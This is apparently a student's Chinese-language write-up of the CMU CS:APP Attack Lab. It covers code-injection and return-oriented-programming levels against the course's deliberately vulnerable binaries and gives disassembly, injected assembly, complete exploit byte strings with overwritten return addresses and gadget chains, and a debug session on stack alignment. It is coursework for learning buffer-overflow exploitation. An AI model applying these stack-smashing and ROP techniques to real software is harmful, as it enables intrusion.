
CSAPP:Attack Lab笔记此文章用于记录Attack实验1. 代码注入攻击1.1 Level 1test函数原型如下1voidtest()2{3intval;4valgetbuf();5printf(No exploit. Getbuf returned 0x%x\n,val);6}getbuf函数反汇编如下(gdb)disas getbuf Dump of assembler codeforfunctiongetbuf: 0x00000000004017a80: sub$0x28,%rsp 0x00000000004017ac4: mov %rsp,%rdi 0x00000000004017af7: call 0x401a40Gets0x00000000004017b412: mov$0x1,%eax 0x00000000004017b917:add$0x28,%rsp 0x00000000004017bd21: ret End of assembler dump.(gdb)touch1函数反汇编如下00000000004017c0touch1: 4017c0:4883ec 08 sub$0x8,%rsp 4017c4: c7 05 0e 2d2000 01 movl$0x1,0x202d0e(%rip)# 6044dc vlevel4017cb: 00 00 00 4017ce: bf c5304000 mov$0x4030c5,%edi 4017d3: e8 e8 f4 ff ff call 400cc0putsplt4017d8: bf 01 00 00 00 mov$0x1,%edi 4017dd: e8 ab 04 00 00 call 401c8dvalidate4017e2: bf 00 00 00 00 mov$0x0,%edi 4017e7: e854f6 ff ff call 400e40exitplt我们需要把rsp0x28的位置改成0x4017c0这样使用ret会跳转touch1并执行填充地址还要注意小端序最终的答案如下polpol-Legion-Y7000P-IRX9:~/桌面/target1$ xxd ./touch1 00000000:6162636465666768696a 6b6c 6d6f7071abcdefghijklmopq 00000010:6162636465666768696a 6b6c 6d6f7071abcdefghijklmopq 00000020: 6c6d 6f70 0000 0000 c01740000a lmop........1.2 Level 2要求我们先传参再执行touch2我的思路是把代码放进栈中然后执行栈的代码原汇编如下movq $0x6044e4,%rsi movq (%rsi),%rdi # 把cookie值传进去 pushq $0x4017ec # 这是touch2函数的首地址 ret反汇编生成机器码如下polpol-Legion-Y7000P-IRX9:~/桌面/target1$ objdump-d./touch2.o ./touch2.o 文件格式 elf64-x86-64 Disassembly of section .text: 0000000000000000.text:0:48c7 c6 e4446000 mov$0x6044e4,%rsi7:488b 3e mov(%rsi),%rdi a:68ec174000 push$0x4017ecf: c3 ret最终的机器码如下polpol-Legion-Y7000P-IRX9:~/桌面/target1$ xxd ./touch2 00000000: 48c7 c6e444600048 8b3e 68ec174000c3 H...D.H.h....00000010: 0000 0000 0000 0000 0000 0000 0000 0000................00000020: 0000 0000 0000 0000 78dc61550a........x.aU.1.3 Level 3要求我们找一个地方放字符串一开始我使用了.rodata区域的地址触发段错误于是我使用了.data区域首先查看.data区域的地址polpol-Legion-Y7000P-IRX9:~/桌面/target1$ objdump-s-j.data ./ctarget ./ctarget 文件格式 elf64-x86-64 Contents of section .data:60412000000000 00000000 00000000 00000000................60413000000000 00000000 00000000 00000000................6041407830400000000000 01000000 00000000 x0.............6041507e304000 000000008830400000000000 ~0......0.....6041609230400000000000 ab304000 00000000 .0......0.....60417000000000 00000000 00000000 00000000................60418000000000 00000000 00000000 00000000................60419000000000 00000000 00000000 00000000................6041a0 00000000 00000000 00000000 00000000................6041b0 00000000 00000000 00000000 00000000................6041c0 00000000 00000000 00000000 00000000................6041d0 00000000 00000000 00000000 00000000................6041e0 00000000 00000000 00000000 00000000................6041f0 00000000 00000000 00000000 00000000................60420000000000 00000000 00000000 00000000................60421000000000 00000000 00000000 00000000................60422000000000 00000000 00000000 00000000................60423000000000 00000000 00000000 00000000................60424000000000 00000000 00000000 00000000................60425000000000 00000000 00000000 00000000................60426000000000 00000000 00000000 00000000................60427000000000 00000000 00000000 00000000................60428000000000 00000000 00000000 00000000................60429000000000 00000000 00000000 00000000................6042a0 00000000 00000000 00000000 00000000................6042b0 00000000 00000000 00000000 00000000................6042c0 00000000 00000000 00000000 00000000................6042d0 00000000 00000000 00000000 00000000................6042e0 00000000 00000000 00000000 00000000................6042f0 00000000 00000000 00000000 00000000................60430000000000 00000000 00000000 00000000................60431000000000 00000000 00000000 00000000................60432000000000 00000000 00000000 00000000................60433000000000 00000000 00000000 00000000................60434000000000 00000000 00000000 00000000................60435000000000 00000000 00000000 00000000................60436000000000 00000000 00000000 00000000................60437000000000 00000000 00000000 00000000................60438000000000 00000000 00000000 00000000................60439000000000 00000000 00000000 00000000................6043a0 00000000 00000000 00000000 00000000................6043b0 00000000 00000000 00000000 00000000................6043c0 00000000 00000000 00000000 00000000................6043d0 00000000 00000000 00000000 00000000................6043e0 00000000 00000000 00000000 00000000................6043f0 00000000 00000000 00000000 00000000................60440000000000 00000000 00000000 00000000................60441000000000 00000000 00000000 00000000................60442000000000 00000000 00000000 00000000................60443000000000 00000000 00000000 00000000................60444000000000 00000000 00000000 00000000................60445000000000 00000000 00000000 00000000................60446000000000 00000000 00000000 00000000................60447000000000 00000000 00000000 00000000................60448000010000 00000000 01000000............于是我选择了0x604170作为字符串首地址汇编如下# 假设cookie对应的字符表示是 # 35 39 62 39 39 37 66 61 00 mov $0x604170,%rcx movl $0x39623935,(%rcx) movl $0x61663739,4(%rcx) movb $0x0,8(%rcx) mov %rcx,%rdi pushq $0x4018fa ret反汇编如下polpol-Legion-Y7000P-IRX9:~/桌面/target1$ objdump-d./touch3.o ./touch3.o 文件格式 elf64-x86-64 Disassembly of section .text: 0000000000000000.text:0:48c7 c1703d4000 mov$0x403d70,%rcx7: c7 0139623935movl$0x35396239,(%rcx)d: c7410461663739movl$0x39376661,0x4(%rcx)14: c64108 00 movb$0x0,0x8(%rcx)18:4889cf mov %rcx,%rdi 1b:68fa184000 push$0x4018fa20: c3 ret机器码如下polpol-Legion-Y7000P-IRX9:~/桌面/target1$ xxd touch3 00000000: 48c7 c170416000c7 0135396239c74104H..pA...59b9.A. 00000010:39376661c641 08004889cf68 fa18400097fa.A..H..h... 00000020: c300 0000 0000 0000 78dc61550a........x.aU.2. 面向返回编程在这一阶段栈随机化栈内不能执行指令2.1 Level 1这一关需要截取start_fram到end_fram序列片段在这里我选的字节序列是58 90 c3和48 89 c7 c3对应的汇编指令是popq %rax ret和mov %rax,%rdi ret截取的指令地址分别是0x4019cc和0x4019a2。由于popq指令是rsp0x8所以字节序列是这样构造的polpol-Legion-Y7000P-IRX9:~/桌面/target1$ xxd ./touch4 00000000: 0000 0000 0000 0000 0000 0000 0000 0000................00000010: 0000 0000 0000 0000 0000 0000 0000 0000................00000020: 0000 0000 0000 0000 cc1940000000 0000............... 00000030: fa97 b959 0000 0000 a21940000000 0000...Y........... 00000040: ec1740000000 0000 0a........2.2 Level 2我本来是想把字符串放在.data区域但是发现没有类似mov %rsp,(%rax)这样的指令于是将其放在栈区域汇编如下mov %rsp,%rax mov %rax,%rdi lea (%rax,%rsi,1),%rax mov %rax,%rdi callq touch3 其中rsi的值是0x30于是字符串位置确定了构造的序列如下polpol-Legion-Y7000P-IRX9:~/桌面/target1$ xxd touch5 00000000: 0000 0000 0000 0000 0000 0000 0000 0000................00000010: 0000 0000 0000 0000 0000 0000 0000 0000................00000020: 0000 0000 0000 0000 061a40000000 0000............... 00000030: a21940000000 0000 d61940000000 0000.............. 00000040: a21940000000 0000 fa1840000000 0000.............. 00000050: 0000 0000 0000 0000 0000 0000 0000 0000................00000060:35396239393766610000 0000 0000 0000 59b997fa........00000070: 0a但是这样会触发段错误错误如下(gdb)ni Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7c88a69in__printf_buffer_init_end(mode__printf_buffer_mode_sprintf_chk,endoptimized out,base0x7fffffffacb7,buf0x7fffffffab68)at../include/printf_buffer.h:124 warning:124../include/printf_buffer.h: 没有那个文件或目录(gdb)x/i$pc0x7ffff7c88a69__vsprintf_internal89: movaps %xmm0,-0x40(%rbp)(gdb)bt#0 0x00007ffff7c88a69 in __printf_buffer_init_end (mode__printf_buffer_mode_sprintf_chk,endoptimized out,base0x7fffffffacb7,buf0x7fffffffab68)at../include/printf_buffer.h:124#1 __vsprintf_internal (stringstringentry0x7fffffffacb7 ,maxlenmaxlenentry18446744073709551615,format0x403202%.8x,argsargsentry0x7fffffffabb8,mode_flagsmode_flagsentry6)at ./libio/iovsprintf.c:54#2 0x00007ffff7d380ff in ___sprintf_chk (ssentry0x7fffffffacb7 , flagflagentry1,slenslenentry18446744073709551615,formatformatentry0x403202%.8x)at ./debug/sprintf_chk.c:40#3 0x00000000004018c4 in sprintf (__fmt0x403202 %.8x, __s0x7fffffffacb7 )at /usr/include/x86_64-linux-gnu/bits/stdio2.h:34#4 hexmatch (val1505335290, svalsvalentry0x7fffffffad50 59b997fa) at visible.c:66#5 0x0000000000401916 in touch3 (sval0x7fffffffad50 59b997fa) at visible.c:73#6 0x0000000000000000 in ?? ()(gdb)触发段错误的指令是movaps %xmm0,-0x40(%rbp)。通过查资料发现movaps要求内存地址十六地址对齐所以再次需要ret但是什么也不做这里我选择执行start_farm函数。最终构造的序列如下polpol-Legion-Y7000P-IRX9:~/桌面/target1$ xxd touch5 00000000: 0000 0000 0000 0000 0000 0000 0000 0000................00000010: 0000 0000 0000 0000 0000 0000 0000 0000................00000020: 0000 0000 0000 0000 061a40000000 0000............... 00000030: a21940000000 0000 d61940000000 0000.............. 00000040: a21940000000 0000941940000000 0000.............. 00000050: fa1840000000 0000 0000 0000 0000 0000............... 00000060:35396239393766610000 0000 0000 0000 59b997fa........00000070: 0a参考资料教材Randal E. Bryant, David R. O’Hallaron.Computer Systems: A Programmer’s Perspective(Third Edition). 第 3 章《程序的机器级表示》Machine-Level Representation of Programs特别是 3.10 节“缓冲区溢出”Buffer Overflow.实验来源Carnegie Mellon University (CMU) 15-213 / 18-213 / 15-513:Introduction to Computer Systems. Lab Assignment L3:Attack Lab (attacklab).环境Ubuntu 24.04 / GCC / VSCode GDB 调试辅助工具objdump、hex2raw、ROPgadget 、Hex Editor等.